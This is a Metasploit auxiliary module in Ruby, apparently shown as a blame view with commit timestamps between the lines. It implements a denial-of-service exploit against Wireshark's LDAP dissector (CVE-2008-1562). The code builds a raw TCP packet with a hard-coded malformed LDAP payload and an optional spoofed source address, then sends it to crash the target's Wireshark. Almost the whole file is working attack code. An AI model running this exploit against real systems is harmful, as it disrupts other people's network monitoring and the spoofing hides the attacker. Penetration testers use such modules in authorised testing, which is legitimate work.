2010-01-27 19:55:31 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
2008-07-22 23:49:05 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2008-07-22 23:49:05 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
2009-07-17 20:36:40 +00:00
|
|
|
require 'racket'
|
2008-07-22 23:49:05 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2008-07-22 23:49:05 +00:00
|
|
|
|
2010-01-27 19:37:22 +00:00
|
|
|
include Msf::Exploit::Capture
|
2008-11-18 20:00:31 +00:00
|
|
|
include Msf::Auxiliary::Dos
|
|
|
|
|
2008-07-22 23:49:05 +00:00
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Wireshark LDAP dissector DOS',
|
|
|
|
'Description' => %q{
|
|
|
|
The LDAP dissector in Wireshark 0.99.2 through 0.99.8 allows remote attackers
|
|
|
|
to cause a denial of service (application crash) via a malformed packet.
|
|
|
|
},
|
|
|
|
'Author' => ['MC'],
|
|
|
|
'License' => MSF_LICENSE,
|
2008-11-18 20:00:31 +00:00
|
|
|
'Version' => '$Revision$',
|
2008-07-22 23:49:05 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2008-1562' ],
|
|
|
|
],
|
2009-07-17 20:36:40 +00:00
|
|
|
'DisclosureDate' => 'Mar 28 2008')
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
OptInt.new('RPORT', [true, 'The destination port', 389]),
|
|
|
|
OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil])
|
|
|
|
], self.class)
|
|
|
|
|
2010-01-27 20:58:45 +00:00
|
|
|
deregister_options('FILTER','PCAPFILE')
|
2008-07-22 23:49:05 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
|
|
|
|
print_status("Sending malformed LDAP packet to #{rhost}")
|
|
|
|
|
|
|
|
m = Rex::Text.rand_text_alpha_lower(3)
|
|
|
|
|
2010-01-27 19:37:22 +00:00
|
|
|
open_pcap
|
2008-07-22 23:49:05 +00:00
|
|
|
|
2009-07-17 20:36:40 +00:00
|
|
|
n = Racket::Racket.new
|
|
|
|
|
2009-12-29 23:32:50 +00:00
|
|
|
n.l3 = Racket::L3::IPv4.new
|
2009-07-17 20:36:40 +00:00
|
|
|
n.l3.src_ip = datastore['SHOST'] || Rex::Socket.source_address(rhost)
|
|
|
|
n.l3.dst_ip = rhost
|
|
|
|
n.l3.protocol = 6
|
|
|
|
n.l3.id = rand(0x10000)
|
2010-01-27 19:54:33 +00:00
|
|
|
n.l3.ttl = 64
|
2008-07-22 23:49:05 +00:00
|
|
|
|
2009-12-29 23:32:50 +00:00
|
|
|
n.l4 = Racket::L4::TCP.new
|
2009-07-17 20:36:40 +00:00
|
|
|
n.l4.src_port = rand(65535)+1
|
|
|
|
n.l4.seq = rand(0x100000000)
|
|
|
|
n.l4.ack = rand(0x100000000)
|
|
|
|
n.l4.flag_psh = 1
|
|
|
|
n.l4.flag_ack = 1
|
|
|
|
n.l4.dst_port = datastore['RPORT'].to_i
|
|
|
|
n.l4.window = 3072
|
|
|
|
n.l4.payload = "0O\002\002;\242cI\004\rdc=#{m},dc=#{m}\n\001\002\n\001\000\002\001\000\002\001\000\001\001\000\241'\243\016"
|
|
|
|
|
|
|
|
n.l4.fix!(n.l3.src_ip, n.l3.dst_ip, '')
|
|
|
|
|
|
|
|
pkt = n.pack
|
|
|
|
|
2010-01-27 19:37:22 +00:00
|
|
|
capture_sendto(pkt, rhost)
|
2008-07-22 23:49:05 +00:00
|
|
|
|
2010-01-27 19:37:22 +00:00
|
|
|
close_pcap
|
2008-07-22 23:49:05 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
|
2008-11-18 20:00:31 +00:00
|
|
|
end
|